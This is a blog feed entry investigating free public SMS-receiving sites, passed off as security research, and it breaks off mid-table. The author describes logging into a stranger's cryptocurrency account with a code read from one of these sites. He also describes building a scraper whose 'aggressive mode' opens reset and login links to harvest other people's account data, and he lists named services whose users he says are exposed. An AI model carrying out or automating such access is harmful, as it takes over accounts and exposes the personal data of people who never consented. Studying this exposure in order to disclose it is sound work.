<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.3.3">Jekyll</generator><link href="https://cyber-intruder.com/feed.xml" rel="self" type="application/atom+xml"/><link href="https://cyber-intruder.com/" rel="alternate" type="text/html" hreflang="en"/><updated>2025-05-16T17:39:23+02:00</updated><id>https://cyber-intruder.com/feed.xml</id><title type="html">CyberIntruder</title><subtitle>A simple, whitespace theme for academics. Based on [*folio](https://github.com/bogoli/-folio) design. </subtitle><entry><title type="html">The hidden risks of public SMS services - How your messages are being exposed</title><link href="https://cyber-intruder.com/blog/2024/SMS-Explorer/" rel="alternate" type="text/html" title="The hidden risks of public SMS services - How your messages are being exposed"/><published>2024-09-20T12:00:00+02:00</published><updated>2024-09-20T12:00:00+02:00</updated><id>https://cyber-intruder.com/blog/2024/SMS-Explorer</id><content type="html" xml:base="https://cyber-intruder.com/blog/2024/SMS-Explorer/"><![CDATA[<p><i>I recently needed to register on an web application, but I didn’t want to provide my real phone number, so I used a temporary phone number to receive a validation SMS. To achieve this, I took a look at those websites proposing free phone numbers to receive SMSs, visible by anyone: this is what I call <b>Public SMS Services (PSSs)</b>. The reason I decided to investigate PSSs is that their content may be useful from both a Cyber-Threat Intelligence (CTI) and Open-Source Intelligence (OSINT) perspective, and even Offensive Security (OffSec).</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="#introduction">Introduction</a></li> <li><a href="#automation">Automation</a></li> <li><a href="#results">Results</a></li> <li><a href="#conclusion">Conclusion</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>A really quick word about existing reasearch on this topic : the only source I could find is from the Canadian ZATAZ that <a href="https://www.zataz.com/osint-comment-lire-les-sms-dinconnus/">published a short post about Public SMS Services</a>.</p> <h4 id="what-are-public-sms-services">What are Public SMS Services?</h4> <p>While browsing the Internet, you probably searched for a temporary email address at least once. For example, you created a user account on some web app, and you didn’t want to provide real information. In the same way, you may need a temporary phone number if the app requires it: in this case, you probably used a <b>virtual phone number</b>, which allows you to receive a confirmation SMS or so, in order to validate your registration on the concerned web app. Although this use case is quite simple, let’s give a proper definition of what I call <b>SMS services</b>.</p> <blockquote> <p>A <b>SMS Service</b> is an online service that provides virtual phone numbers to their customers in order to receive SMSs. If a service provides additional services, such as VoIP, it will still be considered a SMS Service.</p> </blockquote> <p>There are plenty of such services out there. Using any simple online research such as <a href="https://letmegooglethat.com/?q=receive+sms+online">receive sms online</a> using your favorite search engine will lead you to multiple websites.</p> <h4 id="an-example">An example</h4> <p>Let’s take an example real quick and have a look at <a href="https://smstome.com">https://smstome.com</a>. Just select a phone number : congratulation, you can read all messages received.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_1-1400.webp"/> <img src="/assets/img/publicsms_intro_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_2-1400.webp"/> <img src="/assets/img/publicsms_intro_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>If you want to do some testing, simply try to register on a web app that requires a phone number, and check if you receive a verification SMS. Actually it might not work, because after some time, those phone numbers are considered malicious or suspicious by carriers and applications. To ensure the service is still available, SMS service providers simply retire old phone numbers and replace them with new ones.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_3-1400.webp"/> <img src="/assets/img/publicsms_intro_3.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>You may notice that some messages seem truncated, and they actually are. I don’t know why, but this is a common issue shared by many SMS services, which maybe need to optimize their data storage, especially for free services.</p> <h4 id="security-issue">Security issue</h4> <p>When looking at these services, we can see that some are billed, others are free. There are two main differences between the two :</p> <ul> <li> <p><b>Privacy</b> - For users looking for privacy, free services are prefered because they don't require users to create an account, while paid services require to do so <i>i.e.</i> require users to provide personal information.</p> </li> <li> <p><b>Access control</b> - When subscribing to a paid service, virtual phone numbers are private <i>i.e.</i> a user can have multiple virtual phone numbers, but a virtual phone number can be owned only by one user. However with free services there is no form of access control, and virtual phone numbers can be shared, so are SMSs.</p> </li> </ul> <p>Obviously, the only thing we can exploit here is free SMS services, that I will now call <b>Public SMS Services (PSS)</b>, which is not an official term.</p> <blockquote> <p style="margin-top:none;">A <b>Public SMS Service (PSS)</b> is a SMS Service that do not provide any access control mechanism, and allows multiple users to share the same virtual phone numbers, and thus allows users to read each other messages.</p> </blockquote> <p>Here is a quick summary of the different SMS Services categories.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>SMS Services categories</b></caption> <tr> <th>Target</th> <th>Categories</th> <th>Privacy</th> <th>Access control</th> </tr> <tr> <td>Paid services</td> <td>These are services that allow customers to pay for a virtual phone numbers, usually to send and receive SMSs. With such services, a phone number will be dedicated to only one user, which means access control is implemented, which is good. However, this also implies that users need to create an account, which doesn't help with privacy.</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> </tr> <tr> <td>Registered services</td> <td>These are services that allow customers to get a virtual phone number only if they create an account. Again, access control can be implemented but the account creation is not privacy friendly.</td> <td style="text-align:center">❌</td> <td style="text-align:center">⚠️</td> </tr> <tr> <td>Free services</td> <td>These are the services that are freely accessible without any form of authentication. Here, a phone number will not be dedicated to only one user, which is not compatible with access control.</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> </tr> </table> <p>Before digging those services, here is a scheme representing our study scope. As you can see, I only studied SMS received on <a href="https://receive-smss.com/">https://receive-smss.com/</a>, which is a public and free SMS service. I decided to focus only this data source because it was pretty simple to automate data collection, but also because this web sites received a lot of messages.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_0-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_0-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_0-1400.webp"/> <img src="/assets/img/publicsms_intro_0.png" class="img-fluid rounded imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="exploiting-the-security-issue">Exploiting the security issue</h4> <p>You may wonder why would anyone spend their time reading strangers SMS. Well, let me give an example: while refreshing a “received messages” web page on a PSS to see the message I was waiting for, I took a look at already received messages, and one of them was something like the following: <code>Hi redacted@gmail.com, your new access code is 458953. You can now connect on https://REDACTED.com.</code>.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_1.gif-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_1.gif-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_1.gif-1400.webp"/> <img src="/assets/img/publicsms_intro_1.gif" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Since I couldn’t believe it, I quickly configured an anonymization pipeline and accessed the account. The website was a cryptocurrency application that allowed users to access their different wallets. I had access to personal information and to a significative amount of 65 Bitcoins.</p> <p>Besides the message received that represented itself a flaw, I had three hypothesis in mind:</p> <ol> <li><b>This is a human mistake</b> – The person owning the account used a Public SMS Service ignoring what the consequences could be.</li> <li><b>This is a development environment</b> – In this case, the account is not a real one, or at least this is a test account, with mocking data.</li> <li><b>This is some kind of aggressive honeypot</b> – Since the message is received on an PSS, and that it leaks the three key information needed to access the account (website, username and password), it seemed too obvious not to be a honeypot.</li> </ol> <p>In the end, the domain was created three months ago, and all features were not implemented yet, so it probably was a development environment.</p> <p><br/> <br/></p> <p>Altough this is a quite simple use case, let’s define some kind of attack model. We have two major use cases which are SMSs without URL, and SMSs with URL.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_security_gif_1.gif-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_security_gif_1.gif-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_security_gif_1.gif-1400.webp"/> <img src="/assets/img/publicsms_security_gif_1.gif" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="case-1---sms-without-url">Case 1 - SMS without URL</h6> <p>In this first case, <code>User A</code> gets a virtual phone number from a PSS, they use this phone number to register on a web application that will store all user-related data into its database. At some point, the application will be triggered to send a SMS, for instance to invite the user to come back to the app : <code>Hey John DOE, you have a new offer on your house located at Av. de Cointe 5, 4000 Liège, Belgium!</code>. The SMS will be sent to the phone number associated to <code>User A</code> and thus sent to the PSS.</p> <p>Now, if a malicious <code>User B</code> spends their time watching SMSs on the PSS, they could read PII, which is the equivalent of an indirect read access to the application database. Alternatively, the SMS may also contain some PIN or password that can be used to authenticate on an app with the phone number as a user ID. In this case, <code>User B</code> could compromise the account, and have an indirect read/write access to <code>User A</code> information.</p> <h6 id="case-2---sms-with-url">Case 2 - SMS with URL</h6> <p>In this second case, <code>User A</code> gets a virtual phone number from a PSS, they use this phone number to register on a web application that will store all user-related data into its database. At some point, the application will be triggered to send a SMS, for example <code>Hey John DOE, you have a new match, send them a message : https://findamatch.com/messages?token=eyf652s4fz6e621sdf65z4szdfzrgzd62x1fz6ver5g1</code>. The SMS will be sent to the phone number associated to <code>User A</code> and thus sent to the PSS.</p> <p>Now, if a malicious <code>User B</code> spends their time to watch SMSs on the PSS, they could navigate to the URL, and either reset a password, or directly compromise <code>User A</code> account, and have an indirect read/write access to <code>User A</code> information.</p> <p><br/></p> <h4 id="regulatory-compliance">Regulatory compliance</h4> <h5 id="gdpr">GDPR</h5> <p>If you see a message containing personal information, this may not be <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32016R0679">GDPR</a> compliant because of the Article 32 that says the following. <i></i></p> <blockquote> <p>[…] the controller and the processor shall implement appropriate technical and organisational measures to ensure a level of security appropriate to the risk, including inter alia as appropriate:</p> <ul> <li><b>(a) the pseudonymisation and encryption of personal data;</b></li> <li>(b) the ability to ensure the ongoing confidentiality, integrity, availability and resilience of processing systems and services;</li> <li>(c) the ability to restore the availability and access to personal data in a timely manner in the event of a physical or technical incident;</li> <li>(d) a process for regularly testing, assessing and evaluating the effectiveness of technical and organisational measures for ensuring the security of the processing. &lt;/i&gt;</li> </ul> </blockquote> <p>From the <b>PSS point of view</b>, data is simply received and displayed as is. We can compare it to a forum where users can post anything they want, but here users are actually <b>senders</b>. From the <b>senders</b> point of view, the <b>end user</b> is supposed to provide real information. Based on that assumption, the sender will trust the provided phone number and assume it is private. Finally, the <b>end user</b> is informed that a real information is expected, and that PSS will publish SMS associated to the app. The problem is that the end user doesn’t know when SMS will be sent (except for password reset and verification), and what the content will be.</p> <h5 id="electronic-communications-privacy-act">Electronic Communications Privacy Act</h5> <p><br/></p> <h4 id="a-few-insights">A few insights</h4> <p>In order to get some information about the interest in PSSs, we can use any trend analysis tool. Here are my results for keywords <code>free sms online</code> on <a href="https://semrush.com">https://semrush.com</a>. We can see in the bottom right corner that these keywords belong to a cluster where users seem to look for test or verification phone number. This already give insight about data we will find. Additionally, we can take a specific domain to analyze its traffic and see how it is used, which may be useful in order to select a high traffic PSS for analysis.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_intro_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_intro_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_intro_4-1400.webp"/> <img src="/assets/img/publicsms_intro_4.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><br/> After a few week of SMS collection on <a href="https://receive-smss.com/">https://receive-smss.com/</a>, we can observe that the number of messages received on a hourly basis approaches 2000 SMS/h.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_stats_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_stats_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_stats_1-1400.webp"/> <img src="/assets/img/publicsms_stats_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><br/> Then, we can observe how phone numbers are used based on their countries. This is only an approximation because phone are periodically retired and replaced by new ones, not necessarily from the same country. What we can see on the following chart is the number of message receive for each country. <br/> Then, if we divide this total by the number of phones belonging to that country, we get the mean number of messages received by phone by country, which is in other terms how frequently a phone will receive messages. We can see that Indian phone numbers are the most active with <b>47801</b> total messages received on the <b>7 last days</b>, with only two phone numbers available, while UK received <b>82937</b> with <b>14</b> phone numbers available.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_stats_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_stats_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_stats_2-1400.webp"/> <img src="/assets/img/publicsms_stats_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_stats_2.1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_stats_2.1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_stats_2.1-1400.webp"/> <img src="/assets/img/publicsms_stats_2.1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><br/> Besides the amount of received message, the most valuable type of SMS are the ones that contain URL. The following chart shows the number of message containing URLs received per hour, which approches <b>49 SMS/h</b>, which which is <b>2.45%</b> of the total <b>2000 SMS/h</b>. Alternatively, if we take a look at the total of messages received over the <b>last 14 days</b>, this is approx. <b>2.49%</b> of messages containing URLs. But don’t be fooled, this doesn’t mean that <b>2.49%</b> of messages received are interesting : actually most messages containg URL are spams, ads, or are incomplete messages. That’s why we need AUTOMATION!</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_stats_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_stats_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_stats_3-1400.webp"/> <img src="/assets/img/publicsms_stats_3.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_stats_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_stats_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_stats_4-1400.webp"/> <img src="/assets/img/publicsms_stats_4.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><br/> <br/></p> <hr/> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_automation_1_gif.gif-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_automation_1_gif.gif-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_automation_1_gif.gif-1400.webp"/> <img src="/assets/img/publicsms_automation_1_gif.gif" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h2 id="automation">Automation</h2> <h4 id="why">Why?</h4> <p>My primary need was to collect data and store it in a database, becauses the source data source I rely on only provides the last 40 SMS received. Then, I needed to develop a searching feature that would allow to identify interesting patterns <i>e.g.</i> messages with PII. Finally, once patterns are identified, a last feature was needed to exploit them.</p> <h4 id="how">How?</h4> <h5 id="first-approach">First approach</h5> <p>I developed a first very basic version of the solution. It parses <a href="https://receive-smss.com/">https://receive-smss.com/</a> and stores any unique SMS identified. After a few hours spent collecting SMSs, I was excited to analyze the data, and I quickly figured out that there were two interesting cases.</p> <ul> <li>The first one is when messages directly contain sensitive data, like credentials or PII. However, this is a very rare case, and it is complex to automate without false positive, and I didn’t want to deal with false positive at this point.</li> <li>The second one is when messages contain URLs. This is a much more frequent case, and it represents a huge part of interesting messages. Why? Because anything can hide behind a URL, a scam or an account compromise.</li> </ul> <p>I abandoned the first case and focused on messages that contain URLs.</p> <h5 id="improvements">Improvements</h5> <p>To make the analysis a bit simpler, I developed a web interface where I can look for messages collected, and easily navigate to URLs. Thanks to this tiny improvement, I built a list of all URLs and I manually navigated to each one of them, and some of them simply gave me access to user accounts. Thus, I decided to develop the last core feature: the <b>aggressive mode</b>. This can be turned on to navigate to URLs known to hide interesting data, then it will add this data to the database!</p> <p>However, I faced a challenge that is still not resolved: <b>race conditions</b>. Some URLs, such as password reset URLs, have either an expiration date, or can be accessed only once to prevent someone else to reset a password a second time. I decided not to focus on that problem for now, because there are a lot of URLs to explore.</p> <h5 id="architecture">Architecture</h5> <p>The whole architecture is made of Docker containers. The entry point from the user perspective is the <b>Flask</b> web server. Its role is to render and serve web pages, and to enqueue different jobs in a <b>Redis queue</b>:</p> <ul> <li>A job that will initialize various things</li> <li>A job that will collect messages (infinite loop)</li> <li>A job that will collect data, only in aggressive mode (infinite loop)</li> </ul> <p>These jobs will be executed by two <b>workers</b>. Finally, we have a database with SMSs, targets, configuration, and so on.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_automation_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_automation_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_automation_1-1400.webp"/> <img src="/assets/img/publicsms_automation_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h5 id="latest-release">Latest release</h5> <p>Aggressive mode is great to collect data, but the issue is that each domain must be parsed differently to retrieve data. To resolve this, I created a parent class named <b>DataModule</b> with several generic methods that will used by different children classes.</p> <p>Let me explain a practical example: in multiple cases, data can be retrieved simply by reading the <b>Location</b> header of a <b>HTTP 302 Redirect</b>, which directly contains data. Thus, I wrote a method for the DataModule class named <b>_retrieve_data_redirect()</b> that simply return data found in the location header. Now, when I want to add a new parser for a given domain, I simply need to call this method, which makes the parser very simple to implement <i>c.f.</i> complete class for REDACTED parser below.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">REDACTED</span><span class="p">(</span><span class="n">DataModule</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">name</span>        <span class="o">=</span> <span class="sh">'</span><span class="s">REDACTED</span><span class="sh">'</span>
        <span class="n">base_url</span>    <span class="o">=</span> <span class="sh">'</span><span class="s">https://nps.REDACTED.in/</span><span class="sh">'</span>
        <span class="nf">super</span><span class="p">().</span><span class="nf">__init__</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">base_url</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">retrieve_data</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">self</span><span class="p">.</span><span class="nf">_retrieve_data_redirect</span><span class="p">(</span><span class="n">url</span><span class="p">)</span></code></pre></figure> <hr/> <h4 id="limitations">Limitations</h4> <h5 id="smss-sources">SMSs sources</h5> <p>As previously mentioned, the only SMS source is <a href="https://receive-smss.com/">https://receive-smss.com/</a>. At some point, additional SMS sources may be needed for this tool to handle more data. I didn’t plan to work on that yet.</p> <h5 id="data-collection">Data collection</h5> <p>Again, as mentioned before, data collection is limited in multiple ways :</p> <ul> <li>Race conditions, which happens to be a problem when the URL expires, or when the URL can be accessed only once.</li> <li>Requests rate limiting, which causes the targeted server to return a <code>HTTP 429 Too Many Requests</code> and prevents us to parse additional data for a few seconds or minutes.</li> <li>Other security controls, that may be related to users agents, locations, and so on.</li> <li>Sometimes, URLs can be accessed only from the corresponding mobile application. In some cases, the HTTP response prevents access and does not provide any useful data. In some other cases, this behavior may be bypassed by changing the user agent.</li> </ul> <hr/> <h2 id="results">Results</h2> <p>Now is the time to finally talk about cybersecurity, OSINT, CTI, and OffSec! This section describes the different use cases I encountered while analyzing hundreds of thousands of SMS. For each use case, I tried to dig as deeper as I could to provide a real world impact analysis.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Cybersecurity fields</b></caption> <tr> <th>Field</th> <th>Why is it useful?</th> </tr> <tr> <td>OSINT</td> <td>This may be the most useful usecase since a lot of user accounts can be identified, associated to a location, an email address, a physical address, and so on.</td> </tr> <tr> <td>CTI</td> <td>This is only useful when a company account can be tagged as compromised and then handled by security teams.</td> </tr> <tr> <td>Offensive Security</td> <td>This is only useful when a company account can be compromised, rather than a personnal account such as Instagram.</td> </tr> </table> <p>Also, from an attacker perspective, all the presented results are <b>opportunistic</b>, which means the attacker is not able to choose its target and entirely relies on which account or data URLs may redirect to.</p> <h3 id="use-cases">Use cases</h3> <p>The following table shows the different use cases encountered.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>SMS security qualification</b></caption> <tr> <th>Use case</th> <th>Description</th> <th>Application</th> </tr> <tr> <td> <a href="#password-reset-urls">Password reset URLs</a> </td> <td>Account compromise by setting a new password</td> <td>CTI, OffSec, OSINT</td> </tr> <tr> <td><a href="#bypass-access-control">Bypass access control</a></td> <td>Account compromise by doing nothing</td> <td>CTI, OffSec, OSINT</td> </tr> <tr> <td><a href="#data-exposure">Data exposure</a></td> <td>Allows users to gather information without compromising any account.</td> <td>CTI, OffSec, OSINT</td> </tr> <tr> <td><a href="#data-discovery">Data discovery</a></td> <td>Allows users to gather information about a specific target <i>e.g.</i> subdomain discovery.</td> <td>CTI, OffSec, OSINT</td> </tr> <tr> <td><a href="#missed-opportunities">Missed opportunities</a></td> <td>URLs that can't be exploited, mainly because they are truncated.</td> <td>-</td> </tr> <tr> <td><a href="#scams">Scams</a></td> <td>URLs that lead to explicit scam <i>e.g.</i> fake UPS website.</td> <td>-</td> </tr> </table> <h6 id="password-reset-urls">Password reset URLs</h6> <p>This use case is very simple and common: the message received contains a password reset URL as shown below.</p> <blockquote> <p><i>You can reset your password by clicking on this link: <a href="https://pprod.mycompany.com/account?reset-token=RANDOM_GUID">https://pprod.mycompany.com/account?reset-token=RANDOM_GUID</a></i></p> </blockquote> <h6 id="bypass-access-control">Bypass access control</h6> <p>This scenario is even simpler, and simply gives access as an authenticated user when clicking on the URL. For example:</p> <blockquote> <p><i>Click here to access your account : <a href="https://shrtn.com/0123456789abcdefgh">https://shrtn.com/0123456789abcdefgh</a></i></p> </blockquote> <h6 id="data-exposure">Data exposure</h6> <p>While this scenario is not as critical as the previous ones, it gives the opportuniy to collect various types of data, base on the concerned application business.</p> <blockquote> <p><i>Click here to check your analysis results : <a href="https://shrtn.com/0123456789abcdefgh">https://shrtn.com/0123456789abcdefgh</a></i></p> </blockquote> <h6 id="data-discovery">Data discovery</h6> <p>This scenario is very rare and not very sensitive. The only example is the enumeration of subdomains, where the URL is not accessible <i>i.e.</i> does not lead to account compromise from the public Internet. For example :</p> <blockquote> <p><i>Hello admin, click on the URL to reset your password : <a href="https://internal.and.sensitive.domain.com/0123456789abcdefgh">https://internal.and.sensitive.domain.com/0123456789abcdefgh</a></i></p> </blockquote> <h6 id="scams">Scams</h6> <p>Among all messages, many are scams that look like this.</p> <blockquote> <p><i>Your shipment could not be delivered because the transport fee was not paid. Click here to pay.</i></p> </blockquote> <h6 id="missed-opportunities">Missed opportunities</h6> <p>Missed opportunities are almost exclusively use cases where the whole URL can’t be read, because it is too long. For example :</p> <blockquote> <p><i>Hi, how are you? Did you ask for a password reset? Here is your URL, don’t share it! <a href="https://superlongandweirddomainnamerightquestionmark.com/?reset=A">https://superlongandweirddomainnamerightquestionmark.com/?reset=A</a> </i></p> </blockquote> <h3 id="statistics">Statistics</h3> <p>Statictics must be added.</p> <h3 id="real-world-examples">Real world examples</h3> <table id="custom" class="t-border"> <caption style="text-align:center"><b>Resource deployed</b></caption> <tr> <th>Target</th> <th>#</th> <th>Password reset</th> <th>Bypass access control</th> <th>Data exposure</th> <th>Data discovery</th> <th>Scams identification</th> <th>Missed opportunities</th> </tr> <tr> <td><a href="#venmo">Venmo</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#instagram">Instagram</a></td> <td style="text-align:center">1200/month</td> <td style="text-align:center">✅</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#biedronka">Biedronka</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">✅</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#job-logic">Job logic</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#free-ads">Free ads</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#airindia">AirIndia</a></td> <td style="text-align:center">1500/month</td> <td style="text-align:center">✅</td> <td style="text-align:center">✅</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#elilly">e.lilly</a></td> <td style="text-align:center">75/month</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#texts-from-my-ex">Texts from my ex</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#stickermule">Stickermule</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#abinitio-solutions">Abinitio Solutions</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#communidad-madrid">Communidad Madrid</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td 